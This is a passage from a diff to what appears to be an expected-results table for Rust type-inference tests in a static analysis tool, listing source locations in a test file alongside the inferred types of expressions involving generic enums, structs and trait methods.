| MyOption | -| main.rs:997:40:997:40 | x | T | main.rs:993:10:993:10 | T | -| main.rs:1006:13:1006:14 | x1 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1006:18:1006:37 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1007:18:1007:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1007:26:1007:27 | x1 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1009:13:1009:18 | mut x2 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1009:13:1009:18 | mut x2 | T | main.rs:1002:5:1003:13 | S | -| main.rs:1009:22:1009:36 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1009:22:1009:36 | ...::new(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1010:9:1010:10 | x2 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1010:9:1010:10 | x2 | T | main.rs:1002:5:1003:13 | S | -| main.rs:1010:16:1010:16 | S | | main.rs:1002:5:1003:13 | S | -| main.rs:1011:18:1011:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1011:26:1011:27 | x2 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1011:26:1011:27 | x2 | T | main.rs:1002:5:1003:13 | S | -| main.rs:1013:13:1013:18 | mut x3 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1013:22:1013:36 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1014:9:1014:10 | x3 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1014:21:1014:21 | S | | main.rs:1002:5:1003:13 | S | -| main.rs:1015:18:1015:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1015:26:1015:27 | x3 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1017:13:1017:18 | mut x4 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1017:13:1017:18 | mut x4 | T | main.rs:1002:5:1003:13 | S | -| main.rs:1017:22:1017:36 | ...::new(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1017:22:1017:36 | ...::new(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1018:23:1018:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:1018:23:1018:29 | &mut x4 | &T | main.rs:967:5:971:5 | MyOption | -| main.rs:1018:23:1018:29 | &mut x4 | &T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1018:28:1018:29 | x4 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1018:28:1018:29 | x4 | T | main.rs:1002:5:1003:13 | S | -| main.rs:1018:32:1018:32 | S | | main.rs:1002:5:1003:13 | S | -| main.rs:1019:18:1019:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1019:26:1019:27 | x4 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1019:26:1019:27 | x4 | T | main.rs:1002:5:1003:13 | S | -| main.rs:1021:13:1021:14 | x5 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1021:13:1021:14 | x5 | T | main.rs:967:5:971:5 | MyOption | -| main.rs:1021:13:1021:14 | x5 | T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1021:18:1021:58 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1021:18:1021:58 | ...::MySome(...) | T | main.rs:967:5:971:5 | MyOption | -| main.rs:1021:18:1021:58 | ...::MySome(...) | T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1021:35:1021:57 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1021:35:1021:57 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1022:18:1022:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1022:26:1022:27 | x5 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1022:26:1022:27 | x5 | T | main.rs:967:5:971:5 | MyOption | -| main.rs:1022:26:1022:27 | x5 | T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1022:26:1022:37 | x5.flatten() | | main.rs:967:5:971:5 | MyOption | -| main.rs:1022:26:1022:37 | x5.flatten() | T | main.rs:1002:5:1003:13 | S | -| main.rs:1024:13:1024:14 | x6 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1024:13:1024:14 | x6 | T | main.rs:967:5:971:5 | MyOption | -| main.rs:1024:13:1024:14 | x6 | T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1024:18:1024:58 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1024:18:1024:58 | ...::MySome(...) | T | main.rs:967:5:971:5 | MyOption | -| main.rs:1024:18:1024:58 | ...::MySome(...) | T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1024:35:1024:57 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1024:35:1024:57 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1025:18:1025:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1025:26:1025:61 | ...::flatten(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1025:26:1025:61 | ...::flatten(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1025:59:1025:60 | x6 | | main.rs:967:5:971:5 | MyOption | -| main.rs:1025:59:1025:60 | x6 | T | main.rs:967:5:971:5 | MyOption | -| main.rs:1025:59:1025:60 | x6 | T.T | main.rs:1002:5:1003:13 | S | -| main.rs:1027:13:1027:19 | from_if | | main.rs:967:5:971:5 | MyOption | -| main.rs:1027:13:1027:19 | from_if | T | main.rs:1002:5:1003:13 | S | -| main.rs:1027:23:1031:9 | if ... {...} else {...} | | main.rs:967:5:971:5 | MyOption | -| main.rs:1027:23:1031:9 | if ... {...} else {...} | T | main.rs:1002:5:1003:13 | S | -| main.rs:1027:26:1027:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1027:30:1027:30 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1027:34:1027:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1027:36:1029:9 | { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:1027:36:1029:9 | { ... } | T | main.rs:1002:5:1003:13 | S | -| main.rs:1028:13:1028:30 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1028:13:1028:30 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1029:16:1031:9 | { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:1029:16:1031:9 | { ... } | T | main.rs:1002:5:1003:13 | S | -| main.rs:1030:13:1030:31 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1030:13:1030:31 | ...::MySome(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1030:30:1030:30 | S | | main.rs:1002:5:1003:13 | S | -| main.rs:1032:18:1032:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1032:26:1032:32 | from_if | | main.rs:967:5:971:5 | MyOption | -| main.rs:1032:26:1032:32 | from_if | T | main.rs:1002:5:1003:13 | S | -| main.rs:1034:13:1034:22 | from_match | | main.rs:967:5:971:5 | MyOption | -| main.rs:1034:13:1034:22 | from_match | T | main.rs:1002:5:1003:13 | S | -| main.rs:1034:26:1037:9 | match ... { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:1034:26:1037:9 | match ... { ... } | T | main.rs:1002:5:1003:13 | S | -| main.rs:1034:32:1034:32 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1034:36:1034:36 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1034:40:1034:40 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1035:13:1035:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1035:21:1035:38 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1035:21:1035:38 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1036:13:1036:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1036:22:1036:40 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1036:22:1036:40 | ...::MySome(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1036:39:1036:39 | S | | main.rs:1002:5:1003:13 | S | -| main.rs:1038:18:1038:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1038:26:1038:35 | from_match | | main.rs:967:5:971:5 | MyOption | -| main.rs:1038:26:1038:35 | from_match | T | main.rs:1002:5:1003:13 | S | -| main.rs:1040:13:1040:21 | from_loop | | main.rs:967:5:971:5 | MyOption | -| main.rs:1040:13:1040:21 | from_loop | T | main.rs:1002:5:1003:13 | S | -| main.rs:1040:25:1045:9 | loop { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:1040:25:1045:9 | loop { ... } | T | main.rs:1002:5:1003:13 | S | -| main.rs:1041:16:1041:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1041:20:1041:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1041:24:1041:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1042:23:1042:40 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1042:23:1042:40 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1044:19:1044:37 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:1044:19:1044:37 | ...::MySome(...) | T | main.rs:1002:5:1003:13 | S | -| main.rs:1044:36:1044:36 | S | | main.rs:1002:5:1003:13 | S | -| main.rs:1046:18:1046:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1046:26:1046:34 | from_loop | | main.rs:967:5:971:5 | MyOption | -| main.rs:1046:26:1046:34 | from_loop | T | main.rs:1002:5:1003:13 | S | -| main.rs:1059:15:1059:18 | SelfParam | | main.rs:1052:5:1053:19 | S | -| main.rs:1059:15:1059:18 | SelfParam | T | main.rs:1058:10:1058:10 | T | -| main.rs:1059:26:1061:9 | { ... } | | main.rs:1058:10:1058:10 | T | -| main.rs:1060:13:1060:16 | self | | main.rs:1052:5:1053:19 | S | -| main.rs:1060:13:1060:16 | self | T | main.rs:1058:10:1058:10 | T | -| main.rs:1060:13:1060:18 | self.0 | | main.rs:1058:10:1058:10 | T | -| main.rs:1063:15:1063:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1063:15:1063:19 | SelfParam | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1063:15:1063:19 | SelfParam | &T.T | main.rs:1058:10:1058:10 | T | -| main.rs:1063:28:1065:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1063:28:1065:9 | { ... } | &T | main.rs:1058:10:1058:10 | T | -| main.rs:1064:13:1064:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1064:13:1064:19 | &... | &T | main.rs:1058:10:1058:10 | T | -| main.rs:1064:14:1064:17 | self | | file://:0:0:0:0 | & | -| main.rs:1064:14:1064:17 | self | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1064:14:1064:17 | self | &T.T | main.rs:1058:10:1058:10 | T | -| main.rs:1064:14:1064:19 | self.0 | | main.rs:1058:10:1058:10 | T | -| main.rs:1067:15:1067:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1067:15:1067:25 | SelfParam | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1067:15:1067:25 | SelfParam | &T.T | main.rs:1058:10:1058:10 | T | -| main.rs:1067:34:1069:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1067:34:1069:9 | { ... } | &T | main.rs:1058:10:1058:10 | T | -| main.rs:1068:13:1068:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1068:13:1068:19 | &... | &T | main.rs:1058:10:1058:10 | T | -| main.rs:1068:14:1068:17 | self | | file://:0:0:0:0 | & | -| main.rs:1068:14:1068:17 | self | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1068:14:1068:17 | self | &T.T | main.rs:1058:10:1058:10 | T | -| main.rs:1068:14:1068:19 | self.0 | | main.rs:1058:10:1058:10 | T | -| main.rs:1073:13:1073:14 | x1 | | main.rs:1052:5:1053:19 | S | -| main.rs:1073:13:1073:14 | x1 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1073:18:1073:22 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1073:18:1073:22 | S(...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1073:20:1073:21 | S2 | | main.rs:1055:5:1056:14 | S2 | -| main.rs:1074:18:1074:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1074:26:1074:27 | x1 | | main.rs:1052:5:1053:19 | S | -| main.rs:1074:26:1074:27 | x1 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1074:26:1074:32 | x1.m1() | | main.rs:1055:5:1056:14 | S2 | -| main.rs:1076:13:1076:14 | x2 | | main.rs:1052:5:1053:19 | S | -| main.rs:1076:13:1076:14 | x2 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1076:18:1076:22 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1076:18:1076:22 | S(...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1076:20:1076:21 | S2 | | main.rs:1055:5:1056:14 | S2 | -| main.rs:1078:18:1078:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1078:26:1078:27 | x2 | | main.rs:1052:5:1053:19 | S | -| main.rs:1078:26:1078:27 | x2 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1078:26:1078:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:1078:26:1078:32 | x2.m2() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:769:15:769:18 | SelfParam | | main.rs:767:5:779:5 | Self [trait MyTrait2] | +| main.rs:772:9:778:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:773:13:777:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | +| main.rs:773:16:773:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:773:20:773:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:773:22:775:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:774:17:774:20 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | +| main.rs:774:17:774:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | +| main.rs:775:20:777:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | +| main.rs:776:17:776:30 | ...::m1(...) | | main.rs:767:20:767:22 | Tr2 | +| main.rs:776:26:776:29 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | +| main.rs:783:15:783:18 | SelfParam | | main.rs:781:5:793:5 | Self [trait MyTrait3] | +| main.rs:786:9:792:9 | { ... } | | main.rs:781:20:781:22 | Tr3 | +| main.rs:787:13:791:13 | if ... {...} else {...} | | main.rs:781:20:781:22 | Tr3 | +| main.rs:787:16:787:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:787:20:787:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:787:22:789:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | +| main.rs:788:17:788:20 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | +| main.rs:788:17:788:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | +| main.rs:788:17:788:25 | self.m2() | A | main.rs:781:20:781:22 | Tr3 | +| main.rs:788:17:788:27 | ... .a | | main.rs:781:20:781:22 | Tr3 | +| main.rs:789:20:791:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | +| main.rs:790:17:790:30 | ...::m2(...) | | main.rs:747:5:750:5 | MyThing | +| main.rs:790:17:790:30 | ...::m2(...) | A | main.rs:781:20:781:22 | Tr3 | +| main.rs:790:17:790:32 | ... .a | | main.rs:781:20:781:22 | Tr3 | +| main.rs:790:26:790:29 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | +| main.rs:797:15:797:18 | SelfParam | | main.rs:747:5:750:5 | MyThing | +| main.rs:797:15:797:18 | SelfParam | A | main.rs:795:10:795:10 | T | +| main.rs:797:26:799:9 | { ... } | | main.rs:795:10:795:10 | T | +| main.rs:798:13:798:16 | self | | main.rs:747:5:750:5 | MyThing | +| main.rs:798:13:798:16 | self | A | main.rs:795:10:795:10 | T | +| main.rs:798:13:798:18 | self.a | | main.rs:795:10:795:10 | T | +| main.rs:806:15:806:18 | SelfParam | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:806:15:806:18 | SelfParam | A | main.rs:804:10:804:10 | T | +| main.rs:806:35:808:9 | { ... } | | main.rs:747:5:750:5 | MyThing | +| main.rs:806:35:808:9 | { ... } | A | main.rs:804:10:804:10 | T | +| main.rs:807:13:807:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:807:13:807:33 | MyThing {...} | A | main.rs:804:10:804:10 | T | +| main.rs:807:26:807:29 | self | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:807:26:807:29 | self | A | main.rs:804:10:804:10 | T | +| main.rs:807:26:807:31 | self.a | | main.rs:804:10:804:10 | T | +| main.rs:815:44:815:44 | x | | main.rs:815:26:815:41 | T2 | +| main.rs:815:57:817:5 | { ... } | | main.rs:815:22:815:23 | T1 | +| main.rs:816:9:816:9 | x | | main.rs:815:26:815:41 | T2 | +| main.rs:816:9:816:14 | x.m1() | | main.rs:815:22:815:23 | T1 | +| main.rs:819:56:819:56 | x | | main.rs:819:39:819:53 | T | +| main.rs:821:13:821:13 | a | | main.rs:747:5:750:5 | MyThing | +| main.rs:821:13:821:13 | a | A | main.rs:757:5:758:14 | S1 | +| main.rs:821:17:821:17 | x | | main.rs:819:39:819:53 | T | +| main.rs:821:17:821:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | +| main.rs:821:17:821:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | +| main.rs:822:18:822:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:822:26:822:26 | a | | main.rs:747:5:750:5 | MyThing | +| main.rs:822:26:822:26 | a | A | main.rs:757:5:758:14 | S1 | +| main.rs:826:13:826:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:826:13:826:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:826:17:826:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:826:17:826:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:826:30:826:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:827:13:827:13 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:827:13:827:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:827:17:827:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:827:17:827:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:827:30:827:31 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:829:18:829:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:829:26:829:26 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:829:26:829:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:829:26:829:31 | x.m1() | | main.rs:757:5:758:14 | S1 | +| main.rs:830:18:830:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:830:26:830:26 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:830:26:830:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:830:26:830:31 | y.m1() | | main.rs:759:5:760:14 | S2 | +| main.rs:832:13:832:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:832:13:832:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:832:17:832:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:832:17:832:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:832:30:832:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:833:13:833:13 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:833:13:833:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:833:17:833:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:833:17:833:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:833:30:833:31 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:835:18:835:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:835:26:835:26 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:835:26:835:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:835:26:835:31 | x.m2() | | main.rs:757:5:758:14 | S1 | +| main.rs:836:18:836:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:836:26:836:26 | y | | main.rs:747:5:750:5 | MyThing | +| main.rs:836:26:836:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:836:26:836:31 | y.m2() | | main.rs:759:5:760:14 | S2 | +| main.rs:838:13:838:13 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:838:13:838:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:838:17:838:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:838:17:838:34 | MyThing2 {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:838:31:838:32 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:839:13:839:13 | y | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:839:13:839:13 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:839:17:839:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:839:17:839:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:839:31:839:32 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:841:18:841:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:841:26:841:26 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:841:26:841:26 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:841:26:841:31 | x.m3() | | main.rs:757:5:758:14 | S1 | +| main.rs:842:18:842:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:842:26:842:26 | y | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:842:26:842:26 | y | A | main.rs:759:5:760:14 | S2 | +| main.rs:842:26:842:31 | y.m3() | | main.rs:759:5:760:14 | S2 | +| main.rs:844:13:844:13 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:844:13:844:13 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:844:17:844:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | +| main.rs:844:17:844:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | +| main.rs:844:30:844:31 | S1 | | main.rs:757:5:758:14 | S1 | +| main.rs:845:13:845:13 | s | | main.rs:757:5:758:14 | S1 | +| main.rs:845:17:845:32 | call_trait_m1(...) | | main.rs:757:5:758:14 | S1 | +| main.rs:845:31:845:31 | x | | main.rs:747:5:750:5 | MyThing | +| main.rs:845:31:845:31 | x | A | main.rs:757:5:758:14 | S1 | +| main.rs:847:13:847:13 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:847:13:847:13 | x | A | main.rs:759:5:760:14 | S2 | +| main.rs:847:17:847:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:847:17:847:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | +| main.rs:847:31:847:32 | S2 | | main.rs:759:5:760:14 | S2 | +| main.rs:848:13:848:13 | s | | main.rs:747:5:750:5 | MyThing | +| main.rs:848:13:848:13 | s | A | main.rs:759:5:760:14 | S2 | +| main.rs:848:17:848:32 | call_trait_m1(...) | | main.rs:747:5:750:5 | MyThing | +| main.rs:848:17:848:32 | call_trait_m1(...) | A | main.rs:759:5:760:14 | S2 | +| main.rs:848:31:848:31 | x | | main.rs:752:5:755:5 | MyThing2 | +| main.rs:848:31:848:31 | x | A | main.rs:759:5:760:14 | S2 | +| main.rs:866:22:866:22 | x | | file://:0:0:0:0 | & | +| main.rs:866:22:866:22 | x | &T | main.rs:866:11:866:19 | T | +| main.rs:866:35:868:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:866:35:868:5 | { ... } | &T | main.rs:866:11:866:19 | T | +| main.rs:867:9:867:9 | x | | file://:0:0:0:0 | & | +| main.rs:867:9:867:9 | x | &T | main.rs:866:11:866:19 | T | +| main.rs:871:17:871:20 | SelfParam | | main.rs:856:5:857:14 | S1 | +| main.rs:871:29:873:9 | { ... } | | main.rs:859:5:860:14 | S2 | +| main.rs:872:13:872:14 | S2 | | main.rs:859:5:860:14 | S2 | +| main.rs:876:21:876:21 | x | | main.rs:876:13:876:14 | T1 | +| main.rs:879:5:881:5 | { ... } | | main.rs:876:17:876:18 | T2 | +| main.rs:880:9:880:9 | x | | main.rs:876:13:876:14 | T1 | +| main.rs:880:9:880:16 | x.into() | | main.rs:876:17:876:18 | T2 | +| main.rs:884:13:884:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:884:17:884:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:885:18:885:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:885:26:885:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:885:26:885:31 | id(...) | &T | main.rs:856:5:857:14 | S1 | +| main.rs:885:29:885:30 | &x | | file://:0:0:0:0 | & | +| main.rs:885:29:885:30 | &x | &T | main.rs:856:5:857:14 | S1 | +| main.rs:885:30:885:30 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:887:13:887:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:887:17:887:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:888:18:888:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:888:26:888:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:888:26:888:37 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | +| main.rs:888:35:888:36 | &x | | file://:0:0:0:0 | & | +| main.rs:888:35:888:36 | &x | &T | main.rs:856:5:857:14 | S1 | +| main.rs:888:36:888:36 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:890:13:890:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:890:17:890:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:891:18:891:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:891:26:891:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:891:26:891:44 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | +| main.rs:891:42:891:43 | &x | | file://:0:0:0:0 | & | +| main.rs:891:42:891:43 | &x | &T | main.rs:856:5:857:14 | S1 | +| main.rs:891:43:891:43 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:893:13:893:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:893:17:893:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:894:9:894:25 | into::<...>(...) | | main.rs:859:5:860:14 | S2 | +| main.rs:894:24:894:24 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:896:13:896:13 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:896:17:896:18 | S1 | | main.rs:856:5:857:14 | S1 | +| main.rs:897:13:897:13 | y | | main.rs:859:5:860:14 | S2 | +| main.rs:897:21:897:27 | into(...) | | main.rs:859:5:860:14 | S2 | +| main.rs:897:26:897:26 | x | | main.rs:856:5:857:14 | S1 | +| main.rs:911:22:911:25 | SelfParam | | main.rs:902:5:908:5 | PairOption | +| main.rs:911:22:911:25 | SelfParam | Fst | main.rs:910:10:910:12 | Fst | +| main.rs:911:22:911:25 | SelfParam | Snd | main.rs:910:15:910:17 | Snd | +| main.rs:911:35:918:9 | { ... } | | main.rs:910:15:910:17 | Snd | +| main.rs:912:13:917:13 | match self { ... } | | main.rs:910:15:910:17 | Snd | +| main.rs:912:19:912:22 | self | | main.rs:902:5:908:5 | PairOption | +| main.rs:912:19:912:22 | self | Fst | main.rs:910:10:910:12 | Fst | +| main.rs:912:19:912:22 | self | Snd | main.rs:910:15:910:17 | Snd | +| main.rs:913:43:913:82 | MacroExpr | | main.rs:910:15:910:17 | Snd | +| main.rs:913:50:913:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:914:43:914:81 | MacroExpr | | main.rs:910:15:910:17 | Snd | +| main.rs:914:50:914:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:915:37:915:39 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:915:45:915:47 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:916:41:916:43 | snd | | 